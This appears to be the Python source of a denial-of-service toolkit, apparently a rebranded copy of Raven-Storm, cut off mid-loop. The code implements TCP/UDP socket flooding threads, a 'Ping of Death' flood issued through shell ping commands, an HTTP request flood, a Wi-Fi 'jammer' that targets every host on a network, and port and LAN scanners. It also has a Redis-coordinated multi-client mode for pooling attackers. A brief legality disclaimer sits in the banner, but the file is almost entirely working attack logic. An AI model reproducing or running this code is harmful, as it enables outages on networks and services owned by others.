autostart = 0
autostop = 0
autostep = 0
autostarttime = 0
# list
listwebtext = ""
listweblist = "" # << will become array
listwebtrue = "false"
listportstext = ""
listportslist = "" # << will become array
listportstrue = "false"
# ddos | new:
hclient = False
hserver = False
hip = "127.0.0.1"
hport = "6379"
myclid = 1
#method: udp, tcp
socketmethod = "tcp"
runcomonstart = []
# pod
podtarget = ""
podsize = 65500
podmaxsize = 65500
podminsize = 5
podthreads = 30
podsleep = 0
podautodl = 0
podinterval = 0
layersevenmethod = ["REQUEST"]
layersevenpostvar = ""
layersevenposttxt = ""
layersevengetvar = ""
layersevengettxt = ""
layerseventarget = ""
layerseventhreads = 200
layerseveninterval = 0
layersevensleep = 0
nmapinstalledq = False
userissueshva = False
try:
nm = nmap.PortScanner()
nmapinstalledq = True
except:
print("Please install nmap.")
print("Some functions will not work without it.")
try:
raw_input("[Press enter to continue without nmap]")
except:
sys.exit()
# verbosed:
verbosed = False
try:
if "-dv" in sys.argv:
verbosed = True
except:
verbosed = False
if verbosed:
print("[Verbosed True]")
import pdb
#pdb.set_trace()
# help
if "-h" in sys.argv or "--help" in sys.argv:
print("Please have a look at the RavenStorm documentation. [c, ros, f]")
sys.exit()
if "-dgcn" in sys.argv:
print("Made by Taguar258. JL")
sys.exit()
# automated
lister = []
try:
lister = pickle.load(open("ravenstorm-automated-list.ravenstormlist", "r"))
if verbosed:
print(lister)
except:
lister = []
iplister = 0
portlister = 0
threadslister = 0
messageslister = 0
rtxtlister = 0
sleepylister = 0
outtxtlister = 0
outtxtmutelister = 0
hiplister = 0
hportlister = 0
socketmethodlister = 0
podsizelister = 0
podthreadslister = 0
podsleeplister = 0
podautodllister = 0
podintervallister = 0
iplisterstandard = ip
portlisterstandard = port
threadslisterstandard = threads
messageslisterstandard = messages
rtxtlisterstandard = rtxt
sleepylisterstandard = sleepy
outtxtlisterstandard = outtxt
outtxtmutelisterstandard = outtxtmute
hiplisterstandard = hip
hportlisterstandard = hport
socketmethodlisterstandard = socketmethod
podsizelisterstandard = podsize
podthreadslisterstandard = podthreads
podsleeplisterstandard = podsleep
podautodllisterstandard = podautodl
podintervallisterstandard = podinterval
if len(lister) != 0:
try:
for listinglister in lister:
if listinglister[0] == "ip":
if iplister == 0:
ip = listinglister[1]
iplisterstandard = listinglister[1]
iplister = int(listinglister[2])
elif int(listinglister[2]) > int(iplister):
ip = listinglister[1]
iplisterstandard = listinglister[1]
iplister = int(listinglister[2])
elif listinglister[0] == "port":
if portlister == 0:
port = listinglister[1]
portlisterstandard = listinglister[1]
portlister = int(listinglister[2])
elif int(listinglister[2]) > int(portlister):
port = listinglister[1]
portlisterstandard = listinglister[1]
portlister = int(listinglister[2])
elif listinglister[0] == "threads":
if threadslister == 0:
threads = listinglister[1]
threadslisterstandard = listinglister[1]
threadslister = int(listinglister[2])
elif int(listinglister[2]) > int(threadslister):
threads = listinglister[1]
threadslisterstandard = listinglister[1]
threadslister = int(listinglister[2])
elif listinglister[0] == "messages":
if messageslister == 0:
messages = listinglister[1]
messageslisterstandard = listinglister[1]
messageslister = int(listinglister[2])
elif int(listinglister[2]) > int(messageslister):
messages = listinglister[1]
messageslisterstandard = listinglister[1]
messageslister = int(listinglister[2])
elif listinglister[0] == "rtxt":
if rtxtlister == 0:
rtxt = listinglister[1]
rtxtlisterstandard = listinglister[1]
rtxtlister = int(listinglister[2])
elif int(listinglister[2]) > int(rtxtlister):
rtxt = listinglister[1]
rtxtlisterstandard = listinglister[1]
rtxtlister = int(listinglister[2])
elif listinglister[0] == "sleepy":
if sleepylister == 0:
sleepy = listinglister[1]
sleepylisterstandard = listinglister[1]
sleepylister = int(listinglister[2])
elif int(listinglister[2]) > int(sleepylister):
sleepy = listinglister[1]
sleepylisterstandard = listinglister[1]
sleepylister = int(listinglister[2])
elif listinglister[0] == "outtxt":
if outtxtlister == 0:
outtxt = listinglister[1]
outtxtlisterstandard = listinglister[1]
outtxtlister = int(listinglister[2])
elif int(listinglister[2]) > int(outtxtlister):
outtxt = listinglister[1]
outtxtlisterstandard = listinglister[1]
outtxtlister = int(listinglister[2])
elif listinglister[0] == "outtxtmute":
if outtxtmutelister == 0:
outtxtmute = listinglister[1]
outtxtmutelisterstandard = listinglister[1]
outtxtmutelister = int(listinglister[2])
elif int(listinglister[2]) > int(outtxtmutelister):
outtxtmute = listinglister[1]
outtxtmutelisterstandard = listinglister[1]
outtxtmutelister = int(listinglister[2])
elif listinglister[0] == "hip":
if hiplister == 0:
hip = listinglister[1]
hiplisterstandard = listinglister[1]
hiplister = int(listinglister[2])
elif int(listinglister[2]) > int(hiplister):
hip = listinglister[1]
hiplisterstandard = listinglister[1]
hiplister = int(listinglister[2])
elif listinglister[0] == "hport":
if hportlister == 0:
hport = listinglister[1]
hportlisterstandard = listinglister[1]
hportlister = int(listinglister[2])
elif int(listinglister[2]) > int(hportlister):
hport = listinglister[1]
hportlisterstandard = listinglister[1]
hportlister = int(listinglister[2])
elif listinglister[0] == "method":
if socketmethodlister == 0:
socketmethod = listinglister[1]
socketmethodlisterstandard = listinglister[1]
socketmethodlister = int(listinglister[2])
elif int(listinglister[2]) > int(socketmethodlister):
socketmethod = listinglister[1]
socketmethodlisterstandard = listinglister[1]
socketmethodlister = int(listinglister[2])
elif listinglister[0] == "podsize":
if podsizelister == 0:
podsize = listinglister[1]
podsizelisterstandard = listinglister[1]
podsizelister = int(listinglister[2])
elif int(listinglister[2]) > int(podsizelister):
podsize = listinglister[1]
podsizelisterstandard = listinglister[1]
podsizelister = int(listinglister[2])
elif listinglister[0] == "podthreads":
if podthreadslister == 0:
podthreads = listinglister[1]
podthreadslisterstandard = listinglister[1]
podthreadslister = int(listinglister[2])
elif int(listinglister[2]) > int(podthreadslister):
podthreads = listinglister[1]
podthreadslisterstandard = listinglister[1]
podthreadslister = int(listinglister[2])
elif listinglister[0] == "podsleep":
if podsleeplister == 0:
podsleep = listinglister[1]
podsleeplisterstandard = listinglister[1]
podsleeplister = int(listinglister[2])
elif int(listinglister[2]) > int(podsleeplister):
podsleep = listinglister[1]
podsleeplisterstandard = listinglister[1]
podsleeplister = int(listinglister[2])
elif listinglister[0] == "podinterval":
if podintervallister == 0:
podinterval = listinglister[1]
podintervallisterstandard = listinglister[1]
podintervallister = int(listinglister[2])
elif int(listinglister[2]) > int(podintervallister):
podinterval = listinglister[1]
podintervallisterstandard = listinglister[1]
podintervallister = int(listinglister[2])
elif listinglister[0] == "podautodl":
if podautodllister == 0:
podautodl = listinglister[1]
podautodllisterstandard = listinglister[1]
podautodllister = int(listinglister[2])
elif int(listinglister[2]) > int(podautodllister):
podautodl = listinglister[1]
podautodllisterstandard = listinglister[1]
podautodllister = int(listinglister[2])
except Exception as ee:
pass
def listeradd(where, value, lister):
try:
coni = False
nnn = 0
for zw, l in enumerate(lister):
if l[1] == value:
coni = True
nnn = zw
if coni:
for zw, l in enumerate(lister):
if zw == nnn:
l[2] += l[2]
else:
lister.insert(0, [where, value, 1])
return lister
except:
return lister
argvexit = False
try:
if "-ros" in sys.argv:
runcomonstart = " ".join(sys.argv).split("-ros ")[1].split(" -")[0].split(", ")
except Exception as e:
print("Error", e)
argvexit = True
#red
try:
if "-dred" in sys.argv:
os.system("for key in $(redis-cli -p 6379 keys \\*); do echo \"Key : '$key'\" ; redis-cli -p 6379 GET $key; done")
argvexit = True
except:
pass
# config file
try:
if "-c" in sys.argv:
conffile = " ".join(sys.argv).split("-c")[1][1:].split(" ")[0]
if os.path.isfile(conffile):
for g in open(conffile, "r").read().split("\n"):
if "" != g:
try:
i = ""
i = g.split(" = ")
if verbosed:
print(i[0], i[1])
if i[0] == "ip":
ip = str(i[1])
elif i[0] == "port":
port = int(i[1])
elif i[0] == "threads":
threads = int(i[1])
elif i[0] == "message":
messages = str(i[1])
elif i[0] == "repeat":
messages = (messages * i[1])
elif i[0] == "sleep":
sleepy = float(i[1])
elif i[0] == "output":
messages = str(i[1])
elif i[0] == "stress":
stress = str(i[1])
elif i[0] == "stressstep":
stressstep = int(i[1])
elif i[0] == "mb":
rtxt = int(int(setmb) / 0.000001)
elif i[0] == "autostart":
autostart = int(i[1])
elif i[0] == "autostop":
autostop = int(i[1])
elif i[0] == "autostep":
autostep = int(i[1])
elif i[0] == "hip":
hip = str(i[1])
elif i[0] == "hport":
hport = int(i[1])
elif i[0] == "runonstart":
runcomonstart = i[1].split(", ")
elif i[0] == "method":
socketmethod = str(i[1])
elif i[0] == "pod target":
podtarget = i[1]
elif i[0] == "pod threads":
podthreads = int(i[1])
elif i[0] == "pod size":
podsize = int(i[1])
elif i[0] == "pod sleep":
podsleep = float(i[1])
elif i[0] == "pod interval":
podinterval = int(i[1])
elif i[0] == "pod auto stop":
podautodl = int(i[1])
except Exception as i:
print("Error:", i)
argvexit = True
else:
print("No such config file.", conffile)
argvexit = True
except:
pass
if argvexit:
sys.exit()
if verbosed:
raw_input("")
os.system("clear")
print("Starting...")
# Update
print("Checking for updates...")
print("Current version: %s" % rsversion)
checkstatusofrepository = ""
if verbosed:
print("[Check: Version]")
try:
checkstatusofrepository = urllib2.urlopen("https://github.com/Taguar258/Raven-Storm/wiki/Version").read()
time.sleep(0.2)
if not ("Version:%s" % rsversion) in checkstatusofrepository:
print("")
print("There is a new version, feel free to update it:")
print("")
updateresult = re.search('Info:(.*):Info', checkstatusofrepository)
print(updateresult.group(1).replace("\\n", "\n"))
print("")
try:
raw_input("[Press enter]")
except:
pass
except:
pass
def inporarg(label, comname, com):
if verbosed: print("[INPUT or ARGUMENT]")
if verbosed: print("[Lable: %s]" % label)
if verbosed: print("[ComName: %s]" % comname)
if verbosed: print("[Com: %s]" % com)
if verbosed: print("[%s]" % com.split("%s " % comname))
if len(com.split("%s " % comname)) == 2:
if verbosed: print("[ONLY 2 LEN]")
if com.split("%s " % comname)[1] == "":
if verbosed: print("[2 LEN BLANC]")
zw = raw_input("\033[1;32;40m %s: " % label)
else:
if verbosed: print("[2 LEN not Blanc]")
zw = com.split("%s " % comname)[1]
print("\033[1;32;40m %s: %s" % (label, zw))
else:
if verbosed: print("[ONLY 1 or more LEN: %s]" % len(com.split("%s " % comname)))
zw = raw_input("\033[1;32;40m %s: " % label)
if verbosed: print("[Return: %s]" % zw)
return zw
def checkipexists(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((str(ip), int(port)))
if result == 0:
return True
else:
return False
except:
return False
def redisinbackground():
os.system("redis-server > /dev/null")
def hbi(ip):
return(" %s" % socket.gethostbyname(ip))
def speedtest(url):
try:
if not "http" in url or not "://" in url:
url = ("https://%s" % url)
print(" Test starting...")
start = time.time()
response = urllib2.urlopen(url)
webcontent = response.read()
end = time.time()
result = (end - start)
return result
except Exception as e:
return ("Error: %s" % e)
def speedping(ip):
try:
print(" Test starting...")
start = time.time()
os.system("ping -c 1 %s > /dev/null" % ip)
end = time.time()
result = (end - start)
return result
except Exception as e:
return ("Error: %s" % e)
def podtesting(size, target, threads, threadssleep, podinterval, podautodl):
targets = []
feat = ""
if podinterval != 0:
feat += ("-i %s " % podinterval)
if podautodl != 0:
feat += ("-w %s " % podautodl)
if type(target) is list:
targets = target
else:
targets = [target]
target = targets
killcom = ('sudo ping -f -q -s %s %s %s > /dev/null' % (size, feat, target)).replace(" ", " ")
print(killcom)
def layerseventhreadrequest():
global layerseventarget
global layerseveninterval
while True:
try:
urllib2.urlopen(urllib2.Request(str(layerseventarget)))
print("Request was send")
except:
print("Error while trying to request the site")
time.sleep(layerseveninterval)
def layersevenattack(layersevenmethod, layerseventarget, layerseventhreads, layersevensleep):
print(" Starting...")
print(" Stop the attack using: crtl + z")
time.sleep(3)
if layersevenmethod[0] == "REQUEST":
for thread in range(layerseventhreads):
Thread(target="layerseventhreadrequest").start()
time.sleep(layersevensleep)
def pod(size, target, threads, threadssleep, podinterval, podautodl):
print("Running...\n[Enter ctrl + z to stop the attack]")
targets = []
feat = ""
if podinterval != 0:
feat += ("-i %s " % podinterval)
if podautodl != 0:
feat += ("-w %s " % podautodl)
if type(target) is list:
targets = target
else:
targets = [target]
target = ""
for target in targets:
if os.geteuid()==0:
print("Sudo mode.")
killcom = ('sudo ping -f -q -s %s %s %s > /dev/null' % (size, feat, target)).replace(" ", " ")
else:
print("Normal mode.")
killcom = ("ping -q -s %s %s %s > /dev/null" % (size, feat, target)).replace(" ", " ")
if verbosed:
print(killcom)
try:
for i in range(int(threads)):
os.system(killcom)
time.sleep(float(threadssleep))
except KeyboardInterrupt:
os.system("killall ping")
print("\033[1;32;0mStopped.")
sys.exit()
except Exception as pingerror:
print("Error.", pingerror)
os.system("killall ping")
print("\033[1;32;0mStopped.")
sys.exit()
try:
raw_input("")
os.system("killall ping")
print("\033[1;32;0mStopped.")
sys.exit()
except:
#os.system("killall ping")
print("\033[1;32;0mStopped.")
sys.exit()
print("Killed.")
def lanscan():
try:
gateways = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
gateways.connect(("8.8.8.8", 80))
gateway = ".".join((gateways.getsockname()[0].split("."))[:len(gateways.getsockname()[0].split(".")) - 1])
gateways.close()
nm.scan(hosts=("%s.0/24" % gateway), arguments="-sP")
lanscandev = [(x, nm[x]['status']['state'], nm[x]["hostnames"][0]["name"], nm[x]["hostnames"][0]["type"]) for x in nm.all_hosts()]
print("Gate way: %s.0" % gateway)
for lanscandevice in lanscandev:
print("%s %s %s %s" % (lanscandevice[0], lanscandevice[1], lanscandevice[2], lanscandevice[3]))
except Exception as e:
print("Error.", e)
def stresstest():
import threading
global threads
global stresstestvar
global stresserror
global runactive
print(" ")
#print("\033[1;32;40mStarting with " + str(threads) + "\033[1;32;40m threads...")
print("\033[1;32;40mTime between: %s" % str(timeforstress))
print("\033[1;32;40mUsing %s threads per round" % str(threads))
#print("\033[1;32;40mStep: " + str(stressstep))
print(" ")
#threads = 1
time.sleep(2)
while True:
if hclient:
try:
if hr.get("running") != "true":
print("Killed by server.")
sys.exit()
except:
print("Killed by server.")
sys.exit()
for w in range(1):
t = threading.Thread(target=ddos)
t.start()
time.sleep(timeforstress)
if stresserror == 'true':
print(" ")
print("\033[1;32;40mStopped at %s threads!" % (str(stresstestvar * threads))) #str(stresstestvar * threads)
print(" ")
runactive = 'false'
sys.exit()
else:
stresstestvar += 1
def scann(targetIP):
print(" ")
try:
for p in range(1, 1500):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
res = sock.connect_ex((targetIP, p))
if res == 0:
print("\033[1;32;40mPort: %s" % str(p))
sock.close()
except Exception:
print("\033[1;32;40mThere was an error.")
sys.exit()
print(" ")
print(" ")
def ddos():
global stresserror
global runactive
#message = (str(messages) * int(rtxt))
autotimer = ""
mesalready = False
message = str("%s rs" % messages)
if not outtxtmute:
print("\033[1;32;40m\nOk!")
#if socketmethod != "udp":
# mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#else:
# mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while runactive == 'true':
if hclient:
try:
if hr.get("running") != "true":
print("Killed by server.")
sys.exit()
except:
print("Killed by server.")
sys.exit()
if listwebtrue == "true":
if listportslist == "true":
for listwebnum, listwebvalue in enumerate(listweblist):
for listportsnum, listportsvalue in enumerate(listportslist):
try:
listwebtext = ("for %s " % listwebvalue)
if socketmethod != "udp":
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if socketmethod != "udp":
mysocket.connect((listwebvalue, listportsvalue))
#else:
#mysocket.bind((listwebvalue, listportsvalue))
if socketmethod != "udp":
mysocket.send(str.encode("GET %sHTTP/1.1 \r\n" % message))
mysocket.sendto(str.encode("GET %sHTTP/1.1 \r\n" % message), (listwebvalue, listportsvalue))
if outtxt == 'true':
if not mesalready:
mesalready = True
print("\033[1;32;40m\nSuccess for %s with port %s!" % (listwebvalue, listportsvalue))
time.sleep(sleepy)
except socket.error:
if not outtxtmute:
mesalready = False
print("\033[1;31;40m\nTarget %s with port %s down!, continuing..." % (listwebvalue, listportsvalue))
if stress == 'true':
stresserror = 'true'
if socketmethod != "udp":
mysocket.close()
else:
for listwebnum, listwebvalue in enumerate(listweblist):
try:
listwebtext = ("for %s " % listwebvalue)
if socketmethod != "udp":
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if socketmethod != "udp":
mysocket.connect((listwebvalue, port))
else:
mysocket.bind((listwebvalue, port))
if socketmethod != "udp":
mysocket.send(str.encode("GET %sHTTP/1.1 \r\n" % message))
mysocket.sendto(str.encode("GET %sHTTP/1.1 \r\n" % message), (listwebvalue, port))
if outtxt == 'true':
if not mesalready:
mesalready = True
print("\033[1;32;40m\nSuccess for %s!" % listwebvalue)
time.sleep(sleepy)
except socket.error:
if not outtxtmute:
mesalready = False
print("\033[1;31;40m\nTarget %s down!, continuing..." % listwebvalue)
if stress == 'true':
stresserror = 'true'
if socketmethod != "udp":
mysocket.close()
else:
if listportstrue == "true":
for listportsnum, listportsvalue in enumerate(listportslist):
try:
if socketmethod != "udp":
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if socketmethod != "udp":
mysocket.connect((ip, listportsvalue))
else:
mysocket.bind((ip, listportsvalue))
if socketmethod != "udp":
mysocket.send(str.encode("GET %sHTTP/1.1 \r\n" % message))
mysocket.sendto(str.encode("GET %sHTTP/1.1 \r\n" % message), (ip, listportsvalue))
if outtxt == 'true':
if not mesalready:
mesalready = True
print("\033[1;32;40m\nSuccess with port %s!" % listportsvalue)
time.sleep(sleepy)
except socket.error:
if not outtxtmute:
mesalready = False
print("\033[1;31;40m\nTarget with port %s down!, continuing..." % listportsvalue)
if stress == 'true':
stresserror = 'true'
if socketmethod != "udp":
mysocket.close()
else:
try:
if socketmethod != "udp":
mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
else:
mysocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
if socketmethod != "udp":
mysocket.connect((ip, port))
else:
mysocket.bind((ip, port))
if socketmethod != "udp":
mysocket.send(str.encode("GET %sHTTP/1.1 \r\n" % message))
mysocket.sendto(str.encode("GET %sHTTP/1.1 \r\n" % message), (ip, port))
if outtxt == 'true':
if not mesalready:
mesalready = True
print("\033[1;32;40m\nSuccess!")
time.sleep(sleepy)
except socket.error as eee:
if verbosed:
print("\033[1;31;40m\nTarget down!, continuing...", eee)
else:
if not outtxtmute:
mesalready = False
print("\033[1;31;40m\nTarget down!, continuing...")
if stress == 'true':
stresserror = 'true'
if socketmethod != "udp":
mysocket.close()
if int(autostop) != 0:
autoendtime = time.time()
autotimer = (int(autoendtime) - int(autostarttime))
#print(autoendtime)
#print(autostarttime)
#print(autotimer)
if autostop <= autotimer:
print("\033[1;32;0mAuto Stop")
sys.exit()
for i in range(threads):
try:
t = threading.Thread(target=ddos)
t.start()
except:
pass
print("\033[1;32;40m ")
os.system("clear")
print ("""\033[1;32;40m
-----------------------------------------------------------
(っ◔◡◔)っ ♥ RapeStresser ♥
Stress-Testing-Toolkit
Made by HERO-_-HACKERx! MIT 2020
I am not responsible, for your activitys!\n Or errors in the programm!
It is illegal, to use on not owned servers.
----------------------------------------------------------""")
def agreed():
global verbosed
if verbosed:
print("[Check: Agreement]")
print("")
agreement = raw_input("\033[1;32;40mDo you agree to use this tool for legal purposes only? (y/N) ")
if agreement == 'y':
if hserver:
try:
hr.set("agree", "true")
except:
sys.exit()
else:
sys.exit()
print(" ")
def helptext():
print("""\033[1;32;40m
Main:
|-- help = This help message.
|-- update = Update script.
|-- quit/exit = Quit ; Exit.
|-- values = Output all set variables.
|-- >> = Run shell command.
Layer-4:
|
|-- Main commands:
| |-- set port = Set the port.
| |-- set threads = Set the number of threads.
| |-- set ip = Set the IP.
| |-- set web = Set IP of website.
| |-- method = Set attack method: UPD, TCP.
| |-- set sleep = Set waiting time between sends.
| |-- outtxt = Output text enable/disable.
| |-- mute = Do not output connection reply.
| |-- run = To run.
|
|-- Set Send-text:
| |-- set message = Set message.
| |-- set r = Repeat text.
| |-- set mb = Send choosen amount of mb to server.
|
|-- Stress Testing:
| |-- stress = Stress-testing mode.
| |-- st wait = Time between stress tests.
|
|-- Multiple:
| |-- set listip = Use IP list to attack.
| |-- set listweb = Use website list to attack.
| |-- set listport = Attack multiple ports.
|
|-- Automation:
| |-- auto start = Time after Attack should start.
| |-- auto step = Time between next thread to activate.
| |-- auto stop = Time after attack should stop.
Layer-3:
|
|-- Main commands:
| |-- pod target = Set the target.
| |-- pod target list = Set multiple targets.
| |-- pod size = Set packet size.
| |-- pod threads = Threads to use.
| |-- pod sleep = Delay between threads.
| |-- pod interval = Delay between each packet send.
| |-- pod auto stop = Automatically stop attack after x seconds.
| |-- pod run = Run the Ping of Death.
| |-- pod jammer = Kill a whole wifi network, by targeting all.
Scaning:
|
|-- Port scanning:
| |-- get port i = Get port of IP (get port i).
| |-- get port w = Get port of web (get port w).
|
|-- Network scanning:
| |-- lan scan = Get all Ips of Wifi.
|
|-- Domain scanning:
| |-- hbi = Get the IP by host.
| |-- post scan = Get all post variables of a Website.
|
|-- Speed testing:
| |-- speed down = Return the time it needs to open a website.
| |-- speed ping = Return the time it needs to ping an IP.
DDOS:
|
|-- Main commands:
| |-- redis run = Enable the redis server.
| |-- redis run hide = Enable the redis server in background.
| |-- server start = Start a server for clients, to make your attack stronger.
| |-- client connect = Connect your client, to the host server.
| |-- server ip = Set IP of the device hosting Redis.
| |-- server port = Set the port of device hosting Redis. (Should be already set.)
|
|-- First start redis-server by entering redis-server in a new terminal.
|-- First start a server, then connect clients.
Use Fast-Usage and plenty more:
|- Have a look at the official documentation on GitHub.
To stop running attack >>> [Crtl + z]
""")
i = 1
if verbosed:
print("[Set-Check: In case ip,port,threads; argv set - set]")
try:
if "-fd" == sys.argv[1]:
try:
ip = sys.argv[2]
port = int(sys.argv[3])
threads = int(sys.argv[4])
i = 7
agreed()
print("\033[1;32;40mTo stop press: CRTL + z")
time.sleep(3)
for maxthreads, i in enumerate(range(threads)):
try:
t = Thread(target=ddos)
time.sleep(autostep)
t.start()
except:
print("\033[1;32;0mCould not start thread %s." % maxthreads)
except:
print("Could not start dos by given inputs.")
sys.exit()
except:
pass
try:
if "-fp" == sys.argv[1]:
try:
podtarget = sys.argv[2]
podthreads = sys.argv[3]
try:
podsize = int(sys.argv[4])
if podsizezw < podminsize:
print("Size needs to be more than 4kb.")
podsize = 65500
print("Size updated by default to 65500kb.")
elif podsizezw > podmaxsize:
print("Size needs to be less than 65500kb.")
podsize = 65500
print("Size updated by default to 65500kb.")
except:
podsize = 65500
try:
podsleep = float(sys.argv[5])
except:
podsleep = 0
print("Sleep updated by default to 0.")
try:
podinterval = int(sys.argv[6])
except:
podinterval = 0
print("interval updated by default to 0.")
try:
podautodl = int(sys.argv[7])
except:
podautodl = 0
print("Auto stop updated by default to 0.")
agreed()
pod(podsize, podtarget, podthreads, podsleep, podinterval, podautodl)
except:
print("Could not start pod by given inputs.")
sys.exit()
except:
pass
print("""\033[1;32;40m
Main Commands:
|-- help = This help message.
|-- set port = Set the port.
|-- set threads = Set the number of threads.
|-- set ip = Set the IP.
|-- set web = Set IP of website.
|-- method = Set attack method: UPD, TCP.
|-- set sleep = Set waiting time between sends in Seconds.
|-- outtxt = Output text enable/disable.
|-- values = Output all set variables.
|-- run = To run.
|-- update = Update script.
|-- quit/exit = Quit ; Exit
Enter "help" to see >much< more...!
""")
# fast redis
if verbosed:
print("[Set-Check: Redis start using argv]")
print(" ".join(sys.argv))
if 'server start' in " ".join(sys.argv):
print(" ".join(sys.argv).split("server start")[1][1:].split(" ")[:2])
elif 'client connect' in " ".join(sys.argv):
print(" ".join(sys.argv).split("client connect")[1][1:].split(" ")[:2])
else:
print("No QuickRed.")
try:
if 'server start' in " ".join(sys.argv):
argvh = " ".join(sys.argv).split("server start")[1][1:].split(" ")[:2]
try:
argvh[1] = int(argvh[1])
except:
argvh = []
com = ""
try:
try:
hr = redis.Redis(host=argvh[0], port=argvh[1], db=0)
except:
hr = redis.Redis(host=hip, port=hport, db=0)
hr.set("clid", "1")
hr.set("com", "")
hr.set("onrung", "false")
hserver = True
print("\033[1;32;40m\nServer started...\n")
except:
print("\033[1;32;40m\nCheck redis and try again.\n")
elif 'client connect' in " ".join(sys.argv):
if hserver:
print("\033[1;32;40m\nCant listen, if already hosting.\n")
else:
argvh = " ".join(sys.argv).split("client connect")[1][1:].split(" ")[:2]
try:
argvh[1] = int(argvh[1])
except:
argvh = []
com = ""
try:
try:
hr = redis.Redis(host=argvh[0], port=argvh[1], db=0)
except:
hr = redis.Redis(host=hip, port=hport, db=0)
hr.set("com", "")
myclid = str(hr.get("clid"))
hr.set("clid", str(int(myclid) + 1))
hr.set(("clid" + str(myclid)), "0")
hclient = True
print("\033[1;32;40m\nClient started...\n")
except:
print("\033[1;32;40m\nCheck redis and try again.\n")
except Exception as e:
print(e)
pass
if verbosed:
raw_input("")
if verbosed:
print("[Run: Main-Loop]")
while i < 6:
if verbosed:
print("[Check: client + runmode]")
if hclient and hr.get("onrung") != "true":
try:
# wait till command got
if verbosed:
print("[Continue]")
time.sleep(0.6)
if verbosed:
print("[Check: Command]")
while True:
if hr.get("com") != "":
if verbosed:
print("[Check: client0]")
if hr.get(("clid" + str(myclid))) == "0":
print((">> " + hr.get("com") + "\n"))
com = hr.get("com").lower()
break
if hclient:
if hr.get("onrung") == "true":
if verbosed:
print("[Pass: Run-mode]")
com = "run"
break
if hclient:
if hr.get("onrung") == "true":
if verbosed:
print("[Pass: Run-mode]")
com = "run"
break
time.sleep(0.5)
# continue with getting coms
if verbosed:
print("[Set: Variables by Server]")
print("[Check: done]")
if "help" in com:
com = ""
elif "set port" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
port = int(hr.get("port"))
print(("\033[1;32;40m\nPort updated to: " + str(port) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set threads" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
threads = int(hr.get("threads"))
print(("\033[1;32;40m\nThreads updated to: " + str(threads) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set ip" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
ip = hr.get("ip")
print(("\033[1;32;40m\nIP updated to: " + ip + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set web" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
ip = hr.get("ip")
print(("\033[1;32;40m\nIP updated to: " + ip + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "get port i" in com:
com = ""
elif "get port w" in com:
com = ""
elif "pod target" in com:
com = ""
elif "pod target list" in com:
com = ""
elif "pod threads" in com:
com = ""
elif "pod sleep" in com:
com = ""
elif "pod run" in com:
com = ""
elif "lan scan" in com:
com = ""
elif "hbi" in com:
com = ""
elif "speed down" in com:
com = ""
elif "speed ping" in com:
com = ""
elif "set message" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
messages = hr.get("messages")
print(("\033[1;32;40m\nMessage updated to: " + str(messages) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "update" in com:
com = ""
elif "set r" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
rtxt = int(hr.get("rtxt"))
rtxtzw = int(hr.get("rtxtzw"))
messages = str(hr.get("messages"))
messageszw = str(hr.get("messageszw"))
print(("\033[1;32;40m\nText repeating updated to: " + str(rtxt) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set sleep" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
sleepy = int(hr.get("sleepy"))
print(("\033[1;32;40m\nSleep updated to: " + str(sleepy) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "st wait" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
timeforstress = int(hr.get("timeforstress"))
print(("\033[1;32;40m\nSleep time for stress testing updated to: " + str(timeforstress) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "auto step" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
autostep = int(hr.get("autostep"))
print(("\033[1;32;40m\nAuto step updated to: " + str(autostep) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "auto start" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
autostart = int(hr.get("autostart"))
print(("\033[1;32;40m\nAuto start updated to: " + str(autostart) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "auto stop" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
autostop = int(hr.get("autostop"))
print(("\033[1;32;40m\nAuto stop updated to: " + str(autostop) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set mb" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
setmb = float(hr.get("setmb"))
print(("\033[1;32;40m\nMB updated to: " + str(setmb) + "\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set listweb" in com or "set listip" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
listweblist = hr.get("listweblist")
print(("\033[1;32;40m\nList updated.\n"))
break
time.sleep(1)
except:
print("\033[1;32;40m\nError.\n")
elif "set listport" in com:
com = ""
try:
while True:
if hr.get("sdone") == "true":
listportslist = hr.get("listportslist")
print(("\033[1;32;40m\nList updated.\n"))
break
time.sleep(1)
except:
